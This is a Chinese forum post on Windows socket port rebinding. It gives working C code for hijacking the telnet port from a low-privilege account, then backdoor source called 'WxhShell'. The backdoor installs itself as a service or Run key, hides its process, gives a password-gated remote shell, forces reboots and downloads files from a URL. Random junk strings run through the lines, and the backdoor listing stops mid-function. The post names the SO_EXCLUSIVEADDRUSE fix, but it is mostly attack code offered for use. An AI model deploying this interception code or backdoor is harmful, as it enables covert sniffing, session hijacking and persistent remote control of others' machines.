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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >tr}|>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /,yd+wcW#  
ZMlm)?m  
  saddr.sin_family = AF_INET; UI0VtR]   
FW4<5~'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3nQ`]5.Q w  
k4;7<j$ir  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d7upz]K9g  
g! |kp?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Lqa4Vi  
k4J+J.|  
  这意味着什么?意味着可以进行如下的攻击: oG\Vxg*  
?fSG'\h>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5t]H?b8  
XRi8Gpg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R-$!9mnr  
V)25$aKW7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #X1ND  
U5de@Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7{*>agQh  
:$c |  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wmLs/:~  
" H\k`.j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UaeXY+O  
kffcm/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~]2K ^bh8&  
+ ePS14G  
  #include kxv1Hn"`{E  
  #include YaqJ,"GlT  
  #include 7kE n \  
  #include     \4fQMG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c^W)07-X5y  
  int main() a:w#s}bL  
  { &^jXEz;  
  WORD wVersionRequested; %.|@]!C  
  DWORD ret; Km$\:Xo  
  WSADATA wsaData; 9%9#_?RW  
  BOOL val; s$j,9uRr  
  SOCKADDR_IN saddr; |+9&rAg  
  SOCKADDR_IN scaddr; dy[X3jQB  
  int err; YT,{E,U;  
  SOCKET s; (4nq>;$3  
  SOCKET sc; ckCE1e>s  
  int caddsize; D0f]$  
  HANDLE mt; J|73.&B  
  DWORD tid;   y:uE3Apm  
  wVersionRequested = MAKEWORD( 2, 2 ); gB33?  
  err = WSAStartup( wVersionRequested, &wsaData ); +N U G  
  if ( err != 0 ) { X &H"51  
  printf("error!WSAStartup failed!\n"); 5{,<j\#L  
  return -1; 9pfIzs su3  
  } ECmW`#Otb)  
  saddr.sin_family = AF_INET; Z% UP6%  
   m8[j #=h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v]UwJz3<  
/)O"l@ }U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~k5W@`"W  
  saddr.sin_port = htons(23); JxU5 fe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q7CsJzk~)  
  { Q"#J6@  
  printf("error!socket failed!\n"); }jPSUdo  
  return -1; X:{!n({r=  
  } A04U /;  
  val = TRUE; q) KKvO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !&E-}}<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W(p_.p"  
  { Ow,b^|  
  printf("error!setsockopt failed!\n"); 8z\xrY  
  return -1; j?QDR  
  } GQ ;;bcj&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F!K>Kz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lyhiFkO iH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _aeBauD  
COlaD"Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'J|_2*  
  { MolgwVd  
  ret=GetLastError(); )+Pus~w  
  printf("error!bind failed!\n"); 5"H=zJ=r  
  return -1; \~wMfP8  
  } $ocdI5  
  listen(s,2); M',?u  
  while(1) klhtKp_p  
  { F:DrX_O%  
  caddsize = sizeof(scaddr); _)-o1`*-  
  //接受连接请求 \fe]c :  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q5S9C%b  
  if(sc!=INVALID_SOCKET) dAj$1Ke  
  { ]]yO1x$Kk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I%Z  
  if(mt==NULL) Dvln/SBk  
  { e+K^A q  
  printf("Thread Creat Failed!\n"); BJ(M2|VH  
  break; 08{@rOr  
  } 7K:PdF>/  
  } \73ch  
  CloseHandle(mt); apxph2yvS  
  } u]@['7  
  closesocket(s); wz8yD8M  
  WSACleanup(); ^<AwG=  
  return 0; +"VP-s0  
  }   +"@ .8m  
  DWORD WINAPI ClientThread(LPVOID lpParam) (7*}-Uy[C  
  { SgOheN-  
  SOCKET ss = (SOCKET)lpParam; *8XEYZa  
  SOCKET sc; @KAI4LP  
  unsigned char buf[4096]; Kc(FX%3LU  
  SOCKADDR_IN saddr; 0m ? )ROaJ  
  long num; :BT q!>s  
  DWORD val; #e5\j\#.  
  DWORD ret; T[j,UkgGo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m l$o5&sN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k VQ\1!  
  saddr.sin_family = AF_INET; Aiea\j Bv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wm5 dk9&x  
  saddr.sin_port = htons(23); rVsJ`+L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <54 S  
  { Y6d@h? ht  
  printf("error!socket failed!\n"); vr^qWn  
  return -1; ,Y48[_ymm  
  } Du){rVY^d  
  val = 100; sx<%2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %~S&AE-  
  { DlNX 3  
  ret = GetLastError(); |^H5^k "Bv  
  return -1; Wv/=O}  
  } ete.!*=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RpYERAgT  
  { cCc( fF*^  
  ret = GetLastError(); )\^-2[;  
  return -1; $, '*f?d  
  } f y8Uk;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N}YkMJy  
  { TuqH*{NNy9  
  printf("error!socket connect failed!\n"); FC"8#*x  
  closesocket(sc); :eLVC7'  
  closesocket(ss); wec)Ctj+  
  return -1; lb1Xsgm{  
  } 5*D/%]YsD  
  while(1) 2GStN74Xr  
  { ~y[7K{{ ;T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 01o4Th m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >-{Hyx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <rSF*  
  num = recv(ss,buf,4096,0); g$o&Udgs  
  if(num>0) ;6hOx(>`=  
  send(sc,buf,num,0); Dn}Jxu'(  
  else if(num==0) 2dgd~   
  break; !5?<% *  
  num = recv(sc,buf,4096,0); =E{`^IT'R  
  if(num>0) c6/=Gq{.  
  send(ss,buf,num,0); sUm'  
  else if(num==0) uUw5l})%Fi  
  break; & "B=/-(  
  } Jpo (Wl  
  closesocket(ss); D7qOZlX16  
  closesocket(sc); .XhrCi Z  
  return 0 ; 4I5Y,g{6+  
  } Ld-_,-n  
IdxzE_@  
w)jISu;RG  
========================================================== G<;*SYAb  
S>; 5[l 4  
下边附上一个代码,,WXhSHELL ;IM}|2zuN  
HLHz2-lI  
========================================================== qb` \)X]9  
f'3$9x  
#include "stdafx.h" ,3 u}x,  
O%HHYV%[m  
#include <stdio.h> ,wdD8ZT'Ip  
#include <string.h> hwNf~3eJk  
#include <windows.h> h3@v+Z<}  
#include <winsock2.h> HiJE}V;Vq  
#include <winsvc.h> P}`H ~N~  
#include <urlmon.h> 7i1q wRv  
J!7MZL b  
#pragma comment (lib, "Ws2_32.lib") |IUWF%~^$+  
#pragma comment (lib, "urlmon.lib") U|j`e5)  
O!bOp=  
#define MAX_USER   100 // 最大客户端连接数 5.J.RE"M  
#define BUF_SOCK   200 // sock buffer ]:/Q]n^  
#define KEY_BUFF   255 // 输入 buffer 01(AK%e  
*s iFj CN<  
#define REBOOT     0   // 重启 R,=fv   
#define SHUTDOWN   1   // 关机 &XUiKnNW  
{P#|zp4C{  
#define DEF_PORT   5000 // 监听端口 0S$N05  
=zs`#-^8  
#define REG_LEN     16   // 注册表键长度 t9IW/Q  
#define SVC_LEN     80   // NT服务名长度 57'4ljvYi  
9490o:s  
// 从dll定义API iM 3V=&)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i8HTzv"J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {U !g.rh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1D!<'`)AY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #@nezu2  
LC!bIm5'  
// wxhshell配置信息 }|5Pr(I  
struct WSCFG { Fh9h,' V"  
  int ws_port;         // 监听端口 4#hSJ(~7S  
  char ws_passstr[REG_LEN]; // 口令 gt w Q-  
  int ws_autoins;       // 安装标记, 1=yes 0=no )B8$<sv  
  char ws_regname[REG_LEN]; // 注册表键名 r^ ZEImjc  
  char ws_svcname[REG_LEN]; // 服务名 lBGQEP3;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4)o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @bP)406p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OY@ %p}l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vd4ytC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S#} KIy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BsYa3d=}  
YLn?.sV{[0  
}; ~z;FP$U  
=+d?x 56  
// default Wxhshell configuration Vj>8a)"B5a  
struct WSCFG wscfg={DEF_PORT, sZF6h=67D  
    "xuhuanlingzhe", gCY';\f!  
    1, "kgdbAZ  
    "Wxhshell", Rr|VD@%  
    "Wxhshell", i@M [>~  
            "WxhShell Service", Alw3\_X  
    "Wrsky Windows CmdShell Service",  U}j0D2  
    "Please Input Your Password: ", -_eLf#3  
  1, $5Ff1{  
  "http://www.wrsky.com/wxhshell.exe", WaR`Kp+>  
  "Wxhshell.exe" #$qTFN  
    }; \6*I'|5 d  
{%6`!WW[  
// 消息定义模块 1c{DY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aPbE;" f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q^txVUL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^eYVWQ'  
char *msg_ws_ext="\n\rExit."; ,{?%m6.lE  
char *msg_ws_end="\n\rQuit."; }Y36C.@H  
char *msg_ws_boot="\n\rReboot..."; vn"{I&L+w0  
char *msg_ws_poff="\n\rShutdown..."; (0y~%J  
char *msg_ws_down="\n\rSave to "; V[vl!XM  
s#=7IH30  
char *msg_ws_err="\n\rErr!"; oIj#>1~c%  
char *msg_ws_ok="\n\rOK!"; @@ %.t|=  
Aj+F |l  
char ExeFile[MAX_PATH]; 1 Nd2{(  
int nUser = 0;  t[ C/  
HANDLE handles[MAX_USER]; xAMW-eF?d  
int OsIsNt; AX/m25x  
w!clI8v/  
SERVICE_STATUS       serviceStatus; j^rIH#V   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s( q_ o  
$43qME  
// 函数声明 j9+w#G]hV  
int Install(void); 161xAig  
int Uninstall(void); `XEr(e9  
int DownloadFile(char *sURL, SOCKET wsh); pgZXJ  
int Boot(int flag); P;]F(in=  
void HideProc(void); `(/w y  
int GetOsVer(void); s>n)B^64W  
int Wxhshell(SOCKET wsl); Ng>h"H  
void TalkWithClient(void *cs); V-L"gnd&2  
int CmdShell(SOCKET sock); %UCr;H/  
int StartFromService(void); ut/=R !(K  
int StartWxhshell(LPSTR lpCmdLine); =D#bb <o  
:$BCRQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a]tVd#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Px`!A EFd[  
':m,)G5&  
// 数据结构和表定义 m<"WDU?y;  
SERVICE_TABLE_ENTRY DispatchTable[] = ;)^`3`  
{ N7 $I^?<  
{wscfg.ws_svcname, NTServiceMain}, :^3LvPM  
{NULL, NULL} g0ly  
}; ve2u=eQ1  
@xYlS5{  
// 自我安装 yT9@!]^L  
int Install(void) % 0+j?>#X  
{ 1gN=-AC  
  char svExeFile[MAX_PATH]; R>mmoG}MQ[  
  HKEY key; ]R9HyCl&a6  
  strcpy(svExeFile,ExeFile); qfRH5)k  
5 -RsnF  
// 如果是win9x系统,修改注册表设为自启动 +<3X J7D  
if(!OsIsNt) { j@uOOhy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e@* EzvO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RxWVe-Dg  
  RegCloseKey(key); K':;%~I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8::$AQL3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?[Q3q4  
  RegCloseKey(key); yx&51G$  
  return 0; &/]Fc{]^$f  
    } :;fHDU|  
  } |kV*Jc k  
} q6`b26  
else { zz4N5["  
ktBj|-'>  
// 如果是NT以上系统,安装为系统服务 s %\-E9 T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =\wxsL  
if (schSCManager!=0) 8jo p_PG'  
{ 90*5 5\>{  
  SC_HANDLE schService = CreateService Y U5(g^<  
  ( D}8[bWF  
  schSCManager, 8MzVOF{"  
  wscfg.ws_svcname, )@Yf]qx+Y<  
  wscfg.ws_svcdisp, "PTZ%7YH}  
  SERVICE_ALL_ACCESS, .NC:;@y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x&Kh>PVh\  
  SERVICE_AUTO_START, g+>(dnX  
  SERVICE_ERROR_NORMAL, qUGC" <W  
  svExeFile, 64G[|" j D  
  NULL, k" PayyAC  
  NULL, ?3zc=J"t  
  NULL, \VyZ  
  NULL, 2:7zG "$  
  NULL n+q!l&&  
  ); Zxs|%bQ  
  if (schService!=0) PV\+P6aIb  
  { ^^as'Dk  
  CloseServiceHandle(schService); oO|KEY(  
  CloseServiceHandle(schSCManager); 0C irfcs}Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %r}{hq4  
  strcat(svExeFile,wscfg.ws_svcname); bITPQ7+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KZ ;k)O.Ov  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yiC^aY=-  
  RegCloseKey(key); ;=; 9tX  
  return 0; 4;]hK!AXS  
    } mA+&Io  
  } se>8Z4  
  CloseServiceHandle(schSCManager); Cdu4U}^H  
} Za3]d+qm  
} q?DTMKx  
v}O30wE  
return 1; 'o+L41  
} ^l=!JP=M=  
4N zwE(  
// 自我卸载 -$jEfi4I  
int Uninstall(void) nv%rJy*w[  
{ fW3(&@  
  HKEY key; I]<_rN8~o  
p&bROuw<T  
if(!OsIsNt) { S^>,~R.TX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MLje4  
  RegDeleteValue(key,wscfg.ws_regname); >qjq=Ege  
  RegCloseKey(key); b8"?VS5-"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LO khjHR  
  RegDeleteValue(key,wscfg.ws_regname); ,p2s:&"  
  RegCloseKey(key); KgiJUO`PR  
  return 0; Yu[ t\/  
  } `W:%mJd9  
} ?:8ido#-  
} +*T7@1  
else { aM2l2  
;q:zT\A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hj B@o#S  
if (schSCManager!=0) dWUm\t'#  
{ "UGY2skf;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4c$ zKqz  
  if (schService!=0) 4UlyxA~   
  { YoZFwRQU  
  if(DeleteService(schService)!=0) { r(aLEJ"u?  
  CloseServiceHandle(schService); 1#*a:F&re  
  CloseServiceHandle(schSCManager); M/ni6%x  
  return 0; Jz.NHiLct1  
  } =/Mq5.  
  CloseServiceHandle(schService); CBOi`bEf  
  } L,`Lggq-  
  CloseServiceHandle(schSCManager); ;8*`{F[  
} q<[_T  
} FsV'Cu@!U  
WD2]&g  
return 1; K[Kh&`T  
} &7b|4a8B%  
TI#''XCB5  
// 从指定url下载文件 ?hM>mL  
int DownloadFile(char *sURL, SOCKET wsh) 28H8l2{[>  
{ Q}K#'Og  
  HRESULT hr; {QZUDPPR  
char seps[]= "/"; *4xat:@{{  
char *token; SHbtWq}T  
char *file; Wi2WRJdyu  
char myURL[MAX_PATH]; 8x8 uo  
char myFILE[MAX_PATH]; V9( @Y  
v:o({Y 1Aq  
strcpy(myURL,sURL); KgOqbSJ  
  token=strtok(myURL,seps); Mjfx~I27  
  while(token!=NULL) ~Ro9u p  
  { [*HN"  
    file=token; 'wI"Bo6e  
  token=strtok(NULL,seps); ll6wpV0m  
  } B}:(za&  
]2'na?q9  
GetCurrentDirectory(MAX_PATH,myFILE); HATA-M  
strcat(myFILE, "\\"); gb> }v7  
strcat(myFILE, file); fX.>9H[w@~  
  send(wsh,myFILE,strlen(myFILE),0); '0uh D.|G  
send(wsh,"...",3,0); ZF|+W?0&%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >`wV1^M6?  
  if(hr==S_OK) [}8|R0KF  
return 0; 2?,EzBeal  
else "D'B3; uWK  
return 1; I8/DR z$A  
#hf ak  
} \2}bi:e 6  
te !S09(  
// 系统电源模块 <]4i`6{v  
int Boot(int flag) ;F#7Px(q  
{ ?) [EO(D  
  HANDLE hToken; D <&X_  
  TOKEN_PRIVILEGES tkp; k.^co I5  
BV(8y.H  
  if(OsIsNt) { a,+@|TJ,i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r'uGWW"w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $dzy%lle  
    tkp.PrivilegeCount = 1; D]W$?( =4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9}uW}yJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )\be2^p  
if(flag==REBOOT) { ks97k8B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8 <7GdCME  
  return 0; TJ'[--  
} D3^7y.u<)  
else { K+8-9$w6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q7C;1aO  
  return 0; %4 XJn@J  
} EG0auzW?  
  } \eb|eN0i  
  else { &q~:~   
if(flag==REBOOT) { P*@2.#oO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $:j G-r  
  return 0; EV^~eTz  
} -gas?^`  
else { .E&z$N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YJ/zU52JK~  
  return 0; f<*Js)k  
} MR,R}B$  
} I,VH=Yn5,  
3a 1u  
return 1; 3g~^[&|i  
} w TGb d  
]f: v,a  
// win9x进程隐藏模块 TsUOpEuX  
void HideProc(void) *^wB!{.#  
{ #8bsxx!s  
ofMY,~w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U uM$~qf/K  
  if ( hKernel != NULL ) ;)I'WQ]Q  
  { NeBsv= [-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jhX[fT1m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @81Vc<dJ  
    FreeLibrary(hKernel); >'xGp7}y  
  } p=B>~CH  
@]c(V%x   
return; hj$ e|arB  
} 8kOKwEX  
N0w`!<y:c  
// 获取操作系统版本 HCJ>X;(`f?  
int GetOsVer(void) f%)zg(YlO  
{ 0lsXCr_X  
  OSVERSIONINFO winfo; ;k86"W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); za9)Q=6FD  
  GetVersionEx(&winfo); )VK }m9Ae  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Za7q$7F7Bc  
  return 1; wHv]ViNvXE  
  else 3bd5FsI^pU  
  return 0; \U?n+6 7g  
} 1 s*.A6EP"  
je4w=]JV  
// 客户端句柄模块 tpEI(9>  
int Wxhshell(SOCKET wsl) Rqy0Q8K<  
{ ]cC[-F[  
  SOCKET wsh; R@yyur~'_(  
  struct sockaddr_in client; TtDg*kZ  
  DWORD myID; 1w0OKaF5  
)wtaKF.-  
  while(nUser<MAX_USER) ;.Ie#Vr1N  
{ -MugnB6  
  int nSize=sizeof(client); "ZHtR/;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FvuGup`w  
  if(wsh==INVALID_SOCKET) return 1; bo=ZM9  
!.<T"8BUpv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H,<7G;FPT  
if(handles[nUser]==0) g3sUl&K  
  closesocket(wsh); b7\ cxgRq  
else \zkw2*t  
  nUser++; $hVYTy~}  
  } )|<_cwz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4YMX|1wd)  
)Vk6;__  
  return 0; " ;w}3+R  
} #W2[  
|nk3^;Yf  
// 关闭 socket l\!-2 T6Y  
void CloseIt(SOCKET wsh) ]G}B 0u3  
{ 's!-80sd  
closesocket(wsh); ExXM:1 e26  
nUser--; 0l#)fJo  
ExitThread(0); RF!1oZ  
} :9Y$'+ <&H  
%_aMl  
// 客户端请求句柄 w$5A|%Y+V}  
void TalkWithClient(void *cs) PS" .R_"  
{ wFIh6[3  
KZ:8[d  
  SOCKET wsh=(SOCKET)cs; /<3<. ~  
  char pwd[SVC_LEN]; geefnb  
  char cmd[KEY_BUFF]; fKa\7{R  
char chr[1]; xg{HQQ|TC  
int i,j; j?|* LT$%7  
-(JUd4#  
  while (nUser < MAX_USER) { {,j6\Cj4  
'7B"(dA&C  
if(wscfg.ws_passstr) { RQvVR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &?p:3%;Dr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Bm9?eU0  
  //ZeroMemory(pwd,KEY_BUFF); 6`"M  
      i=0; SnTDLa  
  while(i<SVC_LEN) { Qc{RaMwD  
+ f;CyMEp  
  // 设置超时 kao}(?x%  
  fd_set FdRead; '!Kf#@';u  
  struct timeval TimeOut; =KX<_;E  
  FD_ZERO(&FdRead); nxap\Lf  
  FD_SET(wsh,&FdRead); $ Cjk  
  TimeOut.tv_sec=8; 3Gr&p6  
  TimeOut.tv_usec=0; D 0]a\,aZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g#K'6VK{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D~&Mwsi  
iY/KSX^~O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o8FXqTUcs4  
  pwd=chr[0]; q cA`)j  
  if(chr[0]==0xd || chr[0]==0xa) { qturd7  
  pwd=0; Y ZaP  
  break; Y &r]lD  
  } h#Ce_,o  
  i++; Cw,D{  
    } h:Ndzp{  
;<G<1+  
  // 如果是非法用户,关闭 socket ;+I4&VieK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TQ1WVq }*  
} Lg`Jp&Kg  
Y5!b)vke  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cf[vf!vi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r<L#q)]  
22KI]$D#f  
while(1) { jV7&Y.$zF]  
gw3NS8 A+  
  ZeroMemory(cmd,KEY_BUFF); Yi rC*  
f!-Sz/c#  
      // 自动支持客户端 telnet标准   c 8QnN:n  
  j=0; ZAg;q#z j  
  while(j<KEY_BUFF) { R/<=mZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dNV v4{S  
  cmd[j]=chr[0]; H=zN[MU  
  if(chr[0]==0xa || chr[0]==0xd) { _& 4its  
  cmd[j]=0; %XXkVK`  
  break; H^CilwD158  
  } s5Fr)q// !  
  j++; >3 Ko.3&  
    } }NX\~S"  
fEu9Jk  
  // 下载文件 qCJ=Z  
  if(strstr(cmd,"http://")) { }?O[N}>,m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jc~E"x  
  if(DownloadFile(cmd,wsh)) ~! Lw1]&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(d4)z 8'6  
  else K M]Wl_z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O=O(3Pf>  
  } Rx. rj~  
  else { <J#R3{  
mW$ot.I  
    switch(cmd[0]) { 2v|qLf e1  
  .D@/y uV  
  // 帮助 !yCl(XT  
  case '?': { 6IF|3@yD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]b\WaS8I  
    break; Rk[8Bd?  
  } iH _"W+dq  
  // 安装 *7vue"I*Z  
  case 'i': { F> Mr<k=@;  
    if(Install()) $wXih#7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fle0c^=  
    else S 1>Z6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WRMz]|+}4  
    break; WB"$u2{|i  
    } j];1"50?  
  // 卸载 n^Au*'  
  case 'r': { anitqy#E  
    if(Uninstall()) xXa#J)'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #HcI4j:s!  
    else )9pBu B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y_shy6" KH  
    break; }I<N^j=/pO  
    } H5^Y->  
  // 显示 wxhshell 所在路径 & 3I7]Wm  
  case 'p': { ) hPVX()O!  
    char svExeFile[MAX_PATH]; s{%fi*  
    strcpy(svExeFile,"\n\r"); 6(5c7R#  
      strcat(svExeFile,ExeFile); }` @?X"r  
        send(wsh,svExeFile,strlen(svExeFile),0); ks^|>  
    break; 0- Yeu5A  
    } $pBr &,  
  // 重启 ^k9rDn/AW  
  case 'b': { >huqt|S*9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); { ;' :h  
    if(Boot(REBOOT)) pqd4iR Wv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'OD3~[R  
    else { 7#/|VQX<A  
    closesocket(wsh); Oylp:_<aT  
    ExitThread(0); R^?PAHE 7  
    } j<|6s,&  
    break; C_89YFn+  
    } a j_:|]j  
  // 关机 Rmgxf/  
  case 'd': { 1#kawU6[]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $ACe\R/%  
